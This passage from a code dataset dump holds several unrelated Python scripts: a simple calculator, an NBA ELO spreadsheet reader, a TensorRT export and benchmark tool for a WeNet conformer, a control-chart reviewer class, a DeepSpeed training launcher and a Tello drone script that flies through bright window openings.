self.get(path)\n","repo_name":"akosel/yahoo-fantasy-sports-api","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"12037833394","text":"#Calculadora simple\r\nopcion = \"0\"\r\nopciones=[\"1\",\"2\",\"3\"]\r\nwhile True:\r\n    print('''\r\n    Seleccione una acción(1,2 o 3):\r\n    1. Sumar.\r\n    2. Restar.\r\n    3. Salir.\r\n    ''')\r\n    opcion = input(\">\")\r\n    if opcion == \"3\":\r\n        break\r\n    if not(opcion in opciones):\r\n        print(\"No ha seleccionado una operación válida.\")\r\n        input(\"Pulse cualquier tecla para regresar al menú.\")\r\n        continue\r\n      \r\n    try:\r\n       \r\n        valor1 = float(input(\"Escriba el primer valor: \"))\r\n        valor2 = float(input(\"Escriba el segundo valor: \"))\r\n        if opcion == \"1\":\r\n            print(\"La suma es: \",valor1 + valor2)\r\n        if opcion == \"2\":\r\n            print(\"La resta es: \",valor1 - valor2)\r\n       \r\n    except:\r\n        print(\"Usted ha escrito un valor no numérico.\")\r\n        input(\"Pulse cualquier tecla para regresar al menú.\")\r\n\r\nprint(\"Hasta la vista beby\")        \r\n        \r\n              \r\n\r\n    \r\n    \r\n    \r\n      \r\n \r\n    \r\n","repo_name":"damianquijano/PythonCurso3","sub_path":"Scripts2/MenuWhile/doblewhilemenucalculadora2.py","file_name":"doblewhilemenucalculadora2.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14088401749","text":"from openpyxl import load_workbook\n\n\nclass Get1617:\n    def __init__(self):\n        self.data = list()\n\n    def read_file(self):\n        wb = load_workbook('./docs/2015-2017NBA&BAA&ABA ELO.xlsx')\n        sheet = wb.active\n        target = list()\n        for rownum, line in enumerate(sheet.values):\n            if rownum == 0:\n                continue\n            if line[9] != '？':\n                self.data.append(line[8:10])\n            else:\n                target.append((rownum, line[8:10]))\n\n        self.data.sort()\n        return target\n\n    def get_elo(self):\n        target = self.read_file()\n\n        for rownum, line in enumerate(target):\n            y = self.calculator(line[1][0])\n            target[rownum] = (line[0], (line[1][0], y))\n\n    def calculator(self, x):\n        y = 0\n        self.find_nearest(x)\n        return y\n\n    def find_nearest(self, x):\n        hi = len(self.data)\n        low = 0\n        x1, x2 = -1, -1\n        while True:\n            if hi == low:\n                x1 = x2 = hi\n            if hi - 1 == low:\n                x1, x2 = hi, low\n\n            if x1 != -1 and x2 != -1:\n                print (str(x1) + \"=======\" + str(x2))\n                return x1, x2\n            mid = low + (hi - low)//2\n            #print(mid)\n            if x < (self.data[mid])[0]:\n                #print('high')\n                hi = mid\n            elif x > self.data[mid][0]:\n                #print('low')\n                low = mid\n            else:\n                hi = low = mid\n\n            if mid == 0:\n                x1, x2 = 0, 1\n\n\n\n\nprocess = Get1617()\nprocess.get_elo()\n","repo_name":"Akagilnc/NBA","sub_path":"get_16_17.py","file_name":"get_16_17.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14442440720","text":"import configparser\n\ndef test1():\n    cf = configparser.ConfigParser()\n    cf.read('test1.ini')\n    cf.set('http', 'port', str(90))\n    with open('test1.ini', 'w') as f:\n        cf.write(f)\n    \n    print('ok')\nif __name__ == '__main__':\n    test1()","repo_name":"rogers228/Learn_python","sub_path":"note/module/15_ini檔案/test03_修改ini.py","file_name":"test03_修改ini.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37630722042","text":"import ctypes\nfrom cuda import cudart\nimport argparse\nimport numpy as np\nimport os\nimport torch\nimport tensorrt as trt\nimport timeit\n\n\ndef get_parser():\n    parser = argparse.ArgumentParser(\n        formatter_class=argparse.ArgumentDefaultsHelpFormatter\n    )\n\n    parser.add_argument(\n        \"--chunk_xs\",\n        type=str,\n        default=\"\",\n        help=\"BxTxD,BxTxD,BxTxD;BxTxD,BxTxD,BxTxD\",\n    )\n\n    parser.add_argument(\n        \"--chunk_lens\",\n        type=str,\n        default=\"\",\n        help=\"BxTxD,BxTxD,BxTxD;BxTxD,BxTxD,BxTxD\",\n    )\n\n    parser.add_argument(\n        \"--offset\",\n        type=str,\n        default=\"\",\n        help=\"BxTxD,BxTxD,BxTxD;BxTxD,BxTxD,BxTxD\",\n    )\n\n    parser.add_argument(\n        \"--att_cache\",\n        type=str,\n        default=\"\",\n        help=\"BxTxD,BxTxD,BxTxD;BxTxD,BxTxD,BxTxD\",\n    )\n\n    parser.add_argument(\n        \"--cnn_cache\",\n        type=str,\n        default=\"\",\n        help=\"BxTxD,BxTxD,BxTxD;BxTxD,BxTxD,BxTxD\",\n    )\n\n    parser.add_argument(\n        \"--cache_mask\",\n        type=str,\n        default=\"\",\n        help=\"BxTxD,BxTxD,BxTxD;BxTxD,BxTxD,BxTxD\",\n    )\n\n    parser.add_argument(\n        \"--plugin\",\n        type=str,\n        default=\"./LayerNorm.so\",\n        help=\"Path to the LayerNorm plugin\",\n    )\n\n    parser.add_argument(\n        \"--timeCacheFile\",\n        type=str,\n        default=\"./encoder.cache\",\n        help=\"Path to the saved engine cache file\",\n    )\n\n    parser.add_argument(\n        \"--trtFile\",\n        type=str,\n        default=\"./encoder.plan\",\n        help=\"Path to the exported tensorrt engine\",\n    )\n\n    parser.add_argument(\n        \"--onnxFile\",\n        type=str,\n        default=\"./encoder.onnx\",\n        help=\"Path to the onnx file\",\n    )\n\n    parser.add_argument(\n        \"--useTimeCache\",\n        action=\"store_true\",\n        help=\"whether to use time cache, default false\",\n    )\n\n    parser.add_argument(\n        \"--fp16\",\n        action=\"store_true\",\n        help=\"whether to export fp16 model, default false\",\n    )\n\n    parser.add_argument(\n        \"--test\",\n        action=\"store_true\",\n        help=\"whether to test exported engine, default false\",\n    )\n\n    return parser\n\n\ndef get_latency_result(latency_list, batch_size):\n    latency_ms = sum(latency_list) / float(len(latency_list)) * 1000.0\n    latency_variance = np.var(latency_list, dtype=np.float64) * 1000.0\n    throughput = batch_size * (1000.0 / latency_ms)\n    throughput_trt = 1000.0 / latency_ms\n\n    return {\n        \"test_times\": len(latency_list),\n        \"latency_variance\": \"{:.2f}\".format(latency_variance),\n        \"latency_90_percentile\": \"{:.2f}\".format(\n            np.percentile(latency_list, 90) * 1000.0\n        ),\n        \"latency_95_percentile\": \"{:.2f}\".format(\n            np.percentile(latency_list, 95) * 1000.0\n        ),\n        \"latency_99_percentile\": \"{:.2f}\".format(\n            np.percentile(latency_list, 99) * 1000.0\n        ),\n        \"average_latency_ms\": \"{:.2f}\".format(latency_ms),\n        \"QPS\": \"{:.2f}\".format(throughput),\n        f\"QPS_trt_batch{batch_size}\": \"{:.2f}\".format(throughput_trt),\n    }\n\n\ndef test(engine, context, nBatchSize, batch_threshold=8):\n    nProfile = engine.num_optimization_profiles\n    if nProfile == 1:\n        bindingBias = 0\n    else:\n        if nBatchSize > batch_threshold:\n            bindingBias = 0\n            context.set_optimization_profile_async(0, 0)\n            cudart.cudaStreamSynchronize(0)\n        else:\n            bindingBias = int(engine.num_bindings / nProfile)\n            context.set_optimization_profile_async(1, 0)\n            cudart.cudaStreamSynchronize(0)\n\n    context.set_binding_shape(bindingBias, [nBatchSize, 67, 80])\n    context.set_binding_shape(bindingBias + 1, [nBatchSize])\n    context.set_binding_shape(bindingBias + 2, [nBatchSize, 1])\n    context.set_binding_shape(bindingBias + 3, [nBatchSize, 12, 4, 80, 128])\n    context.set_binding_shape(bindingBias + 4, [nBatchSize, 12, 256, 7])\n    context.set_binding_shape(bindingBias + 5, [nBatchSize, 1, 80])\n\n    nInput = np.sum(\n        [engine.binding_is_input(i) for i in range(engine.num_bindings)]\n    )\n    nOutput = engine.num_bindings - nInput\n\n    nInput = nInput // nProfile\n    nOutput = nOutput // nProfile\n\n    chunk_xs = torch.randn(nBatchSize, 67, 80, dtype=torch.float32).numpy()\n    chunk_lens = 67 * torch.ones(nBatchSize, dtype=torch.int32).numpy()\n\n    offset = torch.arange(0, nBatchSize).unsqueeze(1).numpy()\n    #  (elayers, b, head, cache_t1, d_k * 2)\n    head = 4\n    d_k = 64\n    att_cache = torch.randn(\n        nBatchSize, 12, head, 80, d_k * 2, dtype=torch.float32\n    ).numpy()\n    cnn_cache = torch.randn(nBatchSize, 12, 256, 7, dtype=torch.float32)\n\n    cache_mask = torch.ones(nBatchSize, 1, 80, dtype=torch.float32)\n\n    input_tensors = [\n        chunk_xs,\n        chunk_lens,\n        offset,\n        att_cache,\n        cnn_cache,\n        cache_mask,\n    ]\n    bufferH = []\n    for data in input_tensors:\n        bufferH.append(np.ascontiguousarray(data.reshape(-1)))\n    for i in range(nInput, nInput + nOutput):\n        bufferH.append(\n            np.empty(\n                context.get_binding_shape(bindingBias + i),\n                dtype=trt.nptype(engine.get_binding_dtype(bindingBias + i)),\n            )\n        )\n    bufferD = []\n    for i in range(nInput + nOutput):\n        bufferD.append(cudart.cudaMalloc(bufferH[i].nbytes)[1])\n\n    if nProfile == 1 or nBatchSize > batch_threshold:\n        bufferD = bufferD + [int(0) for _ in range(bindingBias)]\n    else:\n        bufferD = [int(0) for _ in range(bindingBias)] + bufferD\n\n    for i in range(nInput):\n        cudart.cudaMemcpy(\n            bufferD[i],\n            bufferH[i].ctypes.data,\n            bufferH[i].nbytes,\n            cudart.cudaMemcpyKind.cudaMemcpyHostToDevice,\n        )\n\n    nWarm, nTest = 5, 10\n    timeit.repeat(\n        lambda: context.execute_v2(bufferD), number=1, repeat=nWarm\n    )  # Dry run\n    latency_list = timeit.repeat(\n        lambda: context.execute_v2(bufferD), number=1, repeat=nTest\n    )\n    print(get_latency_result(latency_list, nBatchSize))\n\n    if nProfile == 1 or nBatchSize > batch_threshold:\n        bufferD = bufferD[:bindingBias]\n    else:\n        bufferD = bufferD[-bindingBias:]\n\n    for b in bufferD:\n        cudart.cudaFree(b)\n\n\ndef main():\n    args = get_parser().parse_args()\n\n    logger = trt.Logger(trt.Logger.ERROR)\n    trt.init_libnvinfer_plugins(logger, \"\")\n    ctypes.cdll.LoadLibrary(args.plugin)\n\n    timeCache = b\"\"\n    if args.useTimeCache and os.path.isfile(args.timeCacheFile):\n        with open(args.timeCacheFile, \"rb\") as f:\n            timeCache = f.read()\n        if timeCache is None:\n            print(\"Failed getting serialized timing cache!\")\n            exit()\n        print(\"Succeeded getting serialized timing cache!\")\n\n    if os.path.isfile(args.trtFile):\n        print(\"Engine existed!\")\n        with open(args.trtFile, \"rb\") as f:\n            engineString = f.read()\n    else:\n        builder = trt.Builder(logger)\n        network = builder.create_network(\n            1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)\n        )\n        config = builder.create_builder_config()\n\n        if args.useTimeCache:\n            cache = config.create_timing_cache(timeCache)\n            config.set_timing_cache(cache, False)\n\n        if args.fp16:\n            config.flags = 1 << int(trt.BuilderFlag.FP16)\n        # config.flags = config.flags & ~(1 << int(trt.BuilderFlag.TF32))\n        # config.flags = config.flags | (1 << int(trt.BuilderFlag.DEBUG))\n        config.profiling_verbosity = trt.ProfilingVerbosity.DETAILED\n\n        parser = trt.OnnxParser(network, logger)\n        if not os.path.exists(args.onnxFile):\n            print(\"Failed finding ONNX file!\")\n            exit()\n        print(\"Succeeded finding ONNX file!\")\n        with open(args.onnxFile, \"rb\") as model:\n            if not parser.parse(model.read()):\n                print(\"Failed parsing ONNX file!\")\n                for error in range(parser.num_errors):\n                    print(parser.get_error(error))\n                exit()\n            print(\"Succeeded parsing ONNX file!\")\n\n        profile0 = builder.create_optimization_profile()\n        profile1 = builder.create_optimization_profile()\n        for key, value in vars(args).items():\n            if isinstance(value, str) and \",\" in value:\n                shapes = [\n                    tuple(map(int, item.split(\"x\")))\n                    for item in value.split(\",\")\n                ]\n                assert len(shapes) == 2 * 3\n                profile0.set_shape(key, shapes[0], shapes[1], shapes[2])\n                profile1.set_shape(key, shapes[3], shapes[4], shapes[5])\n\n        config.add_optimization_profile(profile0)\n        config.add_optimization_profile(profile1)\n\n        engineString = builder.build_serialized_network(network, config)\n\n        if engineString is None:\n            print(\"Failed building engine!\")\n            exit()\n\n        if args.useTimeCache and not os.path.isfile(args.timeCacheFile):\n            timeCache = config.get_timing_cache()\n            timeCacheString = timeCache.serialize()\n            with open(args.timeCacheFile, \"wb\") as f:\n                f.write(timeCacheString)\n                print(\"Succeeded saving .cache file!\")\n\n        print(\"Succeeded building engine!\")\n        with open(args.trtFile, \"wb\") as f:\n            f.write(engineString)\n\n    if args.test:\n        engine = trt.Runtime(logger).deserialize_cuda_engine(engineString)\n        context = engine.create_execution_context()\n        batch_sizes = [1, 4, 8, 16, 32]\n        for batch in batch_sizes:\n            test(engine, context, batch)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"wenet-e2e/wenet","sub_path":"runtime/gpu/tensorrt/export_streaming_conformer_trt.py","file_name":"export_streaming_conformer_trt.py","file_ext":"py","file_size_in_byte":9737,"program_lang":"python","lang":"en","doc_type":"code","stars":3402,"dataset":"github-code","pt":"16"}
+{"seq_id":"41173382101","text":"from datetime import datetime\nfrom typing import List, Union, Any, Type\n\nimport matplotlib.ticker as mticker\n\nfrom ccrev import config\nfrom ccrev.charts.charting_base import ControlChart\nfrom ccrev.extractor import DataExtractor\nfrom ccrev.reporting import Report\nfrom ccrev.rule_checking import RuleChecker\n\n\nclass Reviewer:\n    DefaultReport: Type[Report] = Report\n\n    def __init__(self, y_data_col=None, x_data_col=None, x_label_col=None,\n                 min_row=None, max_row=None, rules=None, data_sheet_index=None,\n                 load_stats_from_src=False, **stats_data_addresses):\n\n        # works on equal length data cols starting & stopping at given min & max\n        self.y_data_col = y_data_col\n        self.x_data_col = x_data_col\n        self.x_label_col = x_label_col\n        self.data_min_row = min_row\n        self.data_max_row = max_row\n        self.data_sheet_index = data_sheet_index\n        self.stats_data_addresses = stats_data_addresses\n\n        self.report: Report = None\n        self.data_extractor: DataExtractor = DataExtractor()\n        self.rule_checker: RuleChecker = RuleChecker(rules=rules)\n\n        self.config = {\n            'try_to_load_stats_data': load_stats_from_src,\n        }\n\n        # List[List[title, ControlChart]]\n        self.control_chart_data: List[List[Union[str, ControlChart]]] = []\n        self._active_data = None\n\n    @property\n    def control_charts(self) -> List[ControlChart]:\n        return [chart_item[1] for chart_item in self.control_chart_data]\n\n    @property\n    def chart_src_files(self) -> List[str]:\n        return [chart_item[0] for chart_item in self.control_chart_data]\n\n    @property\n    def chart_titles(self):\n        return [chart_item[1].title for chart_item in self.control_chart_data]\n\n    def add_charts(self, src_dir: str, chart_type: Type[ControlChart]) -> None:\n        for file in self.data_extractor.gen_files(src_dir):\n            self.add_chart(file, chart_type)\n\n    def load_data(self, chart_title: str) -> None:\n        chart_index = self.chart_titles.index(chart_title)\n        chart = self.control_charts[chart_index]\n\n        # if len(gen_y_data) is not len(gen_x_data):\n        #     # TODO log this? warn for this? print is okay for now\n        #     #  but could improve...\n        #     #  do this check elsewhere\n        #     print('%s: data and data-index lengths mismatched' % src_file)\n\n        chart.y_data = self._gen_y_data(chart_title)\n        chart.x_data = self._gen_x_data(chart_title)\n        chart.x_labels = self._gen_x_labels(chart_title)\n        chart.stdev = self._gen_st_dev(chart_title) if \\\n            self.config['try_to_load_stats_data'] else None\n        chart.mean = self._gen_mean(chart_title) if \\\n            self.config['try_to_load_stats_data'] else None\n\n    def load_all_data(self) -> None:\n        for chart_title, chart in zip(self.chart_titles, self.control_charts):\n            self.load_data(chart_title)\n\n    def add_chart(self, src_file: str, chart_type: Type[ControlChart],\n                  title=None) -> None:\n        if title in self.chart_titles:\n            raise ValueError('Chart title cannot be a duplicate')\n\n        # for all uses of title:\n        # if not title then title <- DataExtractor.clean_file_names(src_file)\n        chart = chart_type(\n                y_data=None,\n                title=title or self.data_extractor.clean_file_names(src_file)\n        )\n\n        self.data_extractor.add_workbook(src_file, title)\n        self.control_chart_data.append([src_file, chart])\n\n    def _gen_y_data(self, chart_title) -> List:\n        reg = (\n            self.data_min_row,\n            self.data_max_row,\n            self.y_data_col,\n            self.y_data_col\n        )\n        yield from self.data_extractor.gen_items_in_region(\n                chart_title,\n                *reg,\n                self.data_sheet_index\n        )\n\n    def _gen_x_data(self, chart_title) -> List:\n        reg = (\n            self.data_min_row,\n            self.data_max_row,\n            self.x_data_col,\n            self.x_data_col\n        )\n        yield from self.data_extractor.gen_items_in_region(\n                chart_title,\n                *reg,\n                self.data_sheet_index\n        )\n\n    def _gen_x_labels(self, chart_title) -> List:\n        reg = (\n            self.data_min_row,\n            self.data_max_row,\n            self.x_label_col,\n            self.x_label_col\n        )\n        yield from self.data_extractor.gen_items_in_region(\n                chart_title,\n                *reg,\n                self.data_sheet_index\n        )\n\n    def _gen_st_dev(self, chart_title) -> List:\n        reg = (\n            self.stats_data_addresses[config.STDEV][0],\n            self.stats_data_addresses[config.STDEV][0],\n            self.stats_data_addresses[config.STDEV][1],\n            self.stats_data_addresses[config.STDEV][1]\n        )\n        yield from self.data_extractor.gen_items_in_region(\n                chart_title,\n                *reg,\n                self.data_sheet_index\n        )\n\n    def _gen_mean(self, chart_title) -> List:\n        reg = (\n            self.stats_data_addresses[config.MEAN][0],\n            self.stats_data_addresses[config.MEAN][0],\n            self.stats_data_addresses[config.MEAN][1],\n            self.stats_data_addresses[config.MEAN][1]\n        )\n        yield from self.data_extractor.gen_items_in_region(\n                chart_title,\n                *reg,\n                self.data_sheet_index\n        )\n\n    def check_all_rules(self):\n        for chart in self.control_charts:\n            if not chart.plotted_x_data:\n                print(\n                        f'Trying to check chart without loading data: '\n                        f'{chart.title}'\n                )\n                continue\n\n            chart.signals = self.rule_checker.check_all_rules(\n                    chart.plotted_y_data,\n                    st_dev=chart.stdev,\n                    mean=chart.mean\n            )\n\n    def build_report(self, report_name=None, save=True):\n        self.report = Reviewer.DefaultReport()\n        for chart in self.control_charts:\n            self.report.add_chart(chart, signal_labels=chart.x_labels)\n        self.report.name = report_name\n\n        if save:\n            self.save_report()\n\n    def save_report(self):\n        self.report.save()\n\n    def swap_chart_order(self, pos1, pos2) -> None:\n        self.control_chart_data[pos2], self.control_chart_data[pos1] = \\\n            self.control_chart_data[pos1], self.control_chart_data[pos2]\n\n    def move_chart_up(self, pos) -> None:\n        Reviewer._can_move(pos, pos - 1) and self.swap_chart_order(pos, pos - 1)\n\n    def move_chart_down(self, pos) -> None:\n        Reviewer._can_move(pos, pos + 1) and self.swap_chart_order(pos, pos + 1)\n\n    @staticmethod\n    def _can_move(pos1, pos2) -> bool:\n        args = [pos1, pos2]\n        if any(arg < 0 for arg in args):\n            raise IndexError('list index out of range')\n        return True\n\n    def overwrite_mean(self, chart_title, mean):\n        chart_idx = self.chart_titles.index(chart_title)\n        self.control_charts[chart_idx].mean = mean\n\n    def overwrite_stdev(self, chart_title, stdev):\n        chart_idx = self.chart_titles.index(chart_title)\n        self.control_charts[chart_idx].stdev = stdev\n\n    def resize_chart_axes(self, chart_title, x_min, x_max, y_min, y_max):\n        chart_idx = self.chart_titles.index(chart_title)\n        self.control_charts[chart_idx].plot.resize_plot_axes(\n                x_min,\n                x_max,\n                y_min,\n                y_max\n        )\n\n    def set_data_start_by_idx(self, chart_title: str, idx: Any):\n        chart_idx = self.chart_titles.index(chart_title)\n        chart = self.control_charts[chart_idx]\n        chart.start_idx = idx\n\n    def set_data_start_date(self, chart_title, dt: datetime):\n        chart_idx = self.chart_titles.index(chart_title)\n        chart = self.control_charts[chart_idx]\n        chart.start_at_label = dt\n\n    def set_data_end_date(self, chart_title, dt: datetime):\n        chart_idx = self.chart_titles.index(chart_title)\n        chart = self.control_charts[chart_idx]\n        chart.end_at_label = dt\n","repo_name":"moottier/pysqc","sub_path":"ccrev/reviewer.py","file_name":"reviewer.py","file_ext":"py","file_size_in_byte":8220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38894314578","text":"import numpy as np\nimport pandas as pd\n\n\n\ncompanies = ['AAPL','TSLA','TWTR','EBAY']\n\nX = []\nY = []\n\nfor company in companies:\n\tcompany_name = '../data/' + company + '_prepared.csv'\n\tdf_temp = pd.read_csv(company_name)\n\t# print(df_temp.shape)\n\t# print(df_temp.columns)\n\t#print(df_temp['title'])\n\t#print(df_temp['text'])\n\t#print('FINAL_TEXT\\n\\n\\n\\n\\n')\n\tfinal_text = df_temp['title'] + '. ' + df_temp['text']\n\tX = np.concatenate((X,np.array(final_text)),axis=0)\n\tY = np.concatenate((Y,np.array(df_temp['labels'])),axis=0)\n\t#Y = Y + np.array(df_temp['labels'])\n\t#print(final_text)\n\t#print(df_temp['labels'])\n\nprint(Y)\n\nY_new = []\nfor each in Y:\n\tif each == 0:\n\t\tY_new.append(0)\n\telif each == 1:\n\t\tY_new.append(1)\n\telif each == -1:\n\t\tY_new.append(-1)\n\telse:\n\t\tY_new.append(0)\n\ndf = pd.DataFrame({'text': X, 'labels': Y_new})\ndf = df.dropna()\n\ndf.to_csv('../data/datasets_joined.csv')\n\n\n#X = np.reshape(X, (X.shape[0],1))\n#Y = np.reshape(Y, (Y.shape[0],1))\n\n#print(X.shape,Y.shape)#, Y.shape)\n#print(X)\n#print(Y)\n\n\n\n","repo_name":"bolor23erdene/News_based_Stock_Price_Prediction","sub_path":"Preprocessing/join.py","file_name":"join.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38800032948","text":"import torch\nimport deepspeed\n\nimport os\nimport json\nimport random\nimport warnings\nimport argparse\nimport numpy as np\nimport pandas as pd\n\nfrom ds_trainer import Trainer\nfrom utils import load_tokenizer\nfrom data_loader import DataSet\n\nwarnings.filterwarnings(action=\"ignore\")\n\nseed_val = 1\nrandom.seed(seed_val)\nnp.random.seed(seed_val)\ntorch.manual_seed(seed_val)\ntorch.cuda.manual_seed_all(seed_val)\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\n\nparser = argparse.ArgumentParser(description = \"deep speed learning\")\nparser.add_argument(\"--workers\", default=4, type=int)\nparser.add_argument(\"--world_size\", default=4),\nparser.add_argument(\"--rank\", default=-1)\nparser.add_argument(\"--gpu\", default=None, type=int)\nparser.add_argument(\"--local_rank\", default=0, type=int)\nparser.add_argument(\"--model_name_or_path\", default=\"beomi/KcELECTRA-base\", type=str, help=\"Model name or path\")\nparser.add_argument(\"--data_path\", default=\"./data/\", type=str, help=\"Model name or path\")\nparser.add_argument(\"--model_dir\", default=\"./model/\", type=str, help=\"Model name or path\")\nparser.add_argument(\"--scheduler_name\", default=\"linear\", type=str, help=\"learning scheduler name\")\n\nparser.add_argument('--dev_num', type=int, default=0, help=\"cuda device number\")\nparser.add_argument('--max_stop_number', type=int, default=5, help=\"maximum stop number for early stop\")\nparser.add_argument(\"--train_batch_size\", default=128, type=int, help=\"Batch size for training.\")\nparser.add_argument(\"--eval_batch_size\", default=128, type=int, help=\"Batch size for evaluation.\")\nparser.add_argument(\"--max_seq_len\", default=100, type=int, help=\"The maximum total input sequence length after tokenization.\")\nparser.add_argument(\"--learning_rate\", default=2e-4, type=float, help=\"The initial learning rate for Adam.\")\nparser.add_argument(\"--num_train_epochs\", default=100, type=int, help=\"Total number of training epochs to perform.\")\nparser.add_argument(\"--weight_decay\", default=0.01, type=float, help=\"Weight decay if we apply some.\")\nparser.add_argument('--gradient_accumulation_steps', type=int, default=1,\n                        help=\"Number of updates steps to accumulate before performing a backward/update pass.\")\nparser.add_argument(\"--eps\", default=1e-6, type=float, help=\"Epsilon for Adam optimizer.\")\nparser.add_argument(\"--max_grad_norm\", default=1.0, type=float, help=\"Max gradient norm.\")\nparser.add_argument(\"--max_steps\", default=-1, type=int, help=\"If > 0: set total number of training steps to perform. Override num_train_epochs.\")\nparser.add_argument(\"--warmup_proportion\", default=0.1, type=float, help=\"Warmup proportion for linear warmup\")\nparser.add_argument('--logging_steps', type=int, default=50, help=\"Log and save every X updates steps.\")\n\nparser = deepspeed.add_config_arguments(parser)\n\n\ndef main_worker(gpu, ngpus_per_node, args):\n    ###################################\n    # GPU 있는지 여부 확인\n    ##################################\n    try:\n        torch.multiprocessing.set_start_method('spawn')\n    except:\n        print(torch.multiprocessing.get_start_method())\n\n    args.gpu = gpu\n    args.rank = args.local_rank\n    deepspeed.init_distributed()\n\n    args.world_size = ngpus_per_node\n    args.workers = 2\n\n    tokenizer = load_tokenizer(args)\n    train_file = pd.read_csv(args.data_path + \"mlm_train.csv\")\n    dev_file = pd.read_csv(args.data_path + \"mlm_dev.csv\")\n    train_dataset = DataSet(train_file, tokenizer, args)\n    dev_dataset = DataSet(dev_file, tokenizer, args)\n    \n    trainer = Trainer(args, tokenizer, train_dataset, dev_dataset)\n    trainer.train()\n\ndef main():\n    args = parser.parse_args()\n    ngpus_per_node = torch.cuda.device_count()\n    args.gpu = args.local_rank\n    main_worker(args.gpu, ngpus_per_node, args)\n\nif __name__ == \"__main__\":\n    main()","repo_name":"seoyeon9646/MLM-data-augmentation","sub_path":"ds_main.py","file_name":"ds_main.py","file_ext":"py","file_size_in_byte":3833,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"74694533768","text":"import urllib.request\r\nimport cv2\r\nfrom djitellopy import Tello\r\nimport numpy as np\r\nimport time\r\nimport threading\r\n\r\ndrone = Tello()\r\ndrone.connect()\r\nprint(drone.get_battery())\r\ndrone.takeoff()\r\n\r\ncenter_offset = 80\r\n\r\nshow_box = True\r\nlanded = False\r\nimage = None\r\n\r\n\r\ndef open_stream():\r\n    global show_box\r\n    global image\r\n    gray_images = []\r\n    frames = []\r\n    while True:\r\n        # Get the frame from the stream\r\n        image = drone.get_frame_read().frame\r\n\r\n        while image is None:\r\n            image = drone.get_frame_read().frame\r\n\r\n        # the center of the frame\r\n        height, width = image.shape[:2]\r\n        centerIMG = (int(width / 2), int(height / 2))\r\n        droneCenter = (int(width / 2), int(height / 2) - 120)\r\n        # Convert the image to grayscale\r\n        gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n        # Set the brightness threshold\r\n        threshold = 180\r\n\r\n        # Threshold the image\r\n        _, binary_image = cv2.threshold(gray, threshold, 255, cv2.THRESH_BINARY)\r\n        gray_images.append(binary_image)\r\n\r\n        # Find contours in the binary image\r\n        contours, _ = cv2.findContours(binary_image, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\r\n\r\n        # Find the largest contour\r\n        if contours != ():\r\n            largest_contour = max(contours, key=cv2.contourArea)\r\n\r\n            # Draw a bounding box around the largest contour\r\n            x, y, w, h = cv2.boundingRect(largest_contour)\r\n            center_x = x + w // 2\r\n            center_y = y + h // 2\r\n            center = (center_x, center_y)\r\n            if show_box:\r\n                cv2.rectangle(image, (x, y), (x + w, y + h), (0, 255, 0), 2)\r\n                cv2.circle(image, center, 2, (255, 0, 0), -1)\r\n                cv2.circle(image, droneCenter, 2, (255, 0, 0), -1)\r\n                cv2.line(image, center, droneCenter, (255, 0, 0), 2)\r\n\r\n            # Give orders to the drone\r\n            # Show the image\r\n            cv2.imshow(\"Frame\", image)\r\n            frames.append(image)\r\n            # Exit if the user presses the \"q\" key\r\n            if cv2.waitKey(1) == ord(\"q\"):\r\n                break\r\n            if landed:\r\n                break\r\n            time.sleep(0.1)\r\n    print(\"saving images...\")\r\n    frame_num = 0\r\n    for frame in frames:\r\n        cv2.imwrite(f'Frames/frame{frame_num}.jpg', frame)\r\n        frame_num += 1\r\n    frame_num = 0\r\n    for frame in gray_images:\r\n        cv2.imwrite(f'GrayImages/frame{frame_num}.jpg', frame)\r\n        frame_num += 1\r\n\r\n\r\ndef find_path(window_center, image_center):\r\n    global show_box\r\n    global landed\r\n    if window_center[0] - image_center[0] > center_offset:\r\n        print(\"GO RIGHT\")\r\n        drone.move_right(20)\r\n    elif window_center[0] - image_center[0] < -center_offset:\r\n        print(\"GO LEFT\")\r\n        drone.move_left(20)\r\n    elif window_center[1] - image_center[1] > center_offset:\r\n        print(\"GO DOWN\")\r\n        drone.move_down(30)\r\n    elif window_center[1] - image_center[1] < -220:\r\n        print(\"GO UP\")\r\n        drone.move_up(30)\r\n    else:\r\n        for i in range(7):\r\n            drone.move_forward(80)\r\n            print(\"GO FORWARD\")\r\n            show_box = False\r\n            time.sleep(2)\r\n        drone.land()\r\n        landed = True\r\n        print(\"Drone Landed!\")\r\n    time.sleep(3)\r\n\r\n\r\ndef navigate():\r\n    global show_box\r\n    drone.streamon()\r\n    my_thread = threading.Thread(target=open_stream)\r\n    my_thread.start()\r\n    time.sleep(3)\r\n    drone.move_up(30)\r\n    time.sleep(2)\r\n    while True:\r\n        while image is None:\r\n            time.sleep(0.1)\r\n\r\n        # the center of the frame\r\n        height, width = image.shape[:2]\r\n        centerIMG = (int(width / 2), int(height / 2))\r\n\r\n        # Convert the image to grayscale\r\n        gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n\r\n        # Set the brightness threshold\r\n        threshold = 180\r\n\r\n        # Threshold the image\r\n        _, binary_image = cv2.threshold(gray, threshold, 255, cv2.THRESH_BINARY)\r\n\r\n        # Find contours in the binary image\r\n        contours, _ = cv2.findContours(binary_image, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\r\n\r\n        # Find the largest contour\r\n        if contours != ():\r\n            largest_contour = max(contours, key=cv2.contourArea)\r\n\r\n            # Draw a bounding box around the largest contour\r\n            x, y, w, h = 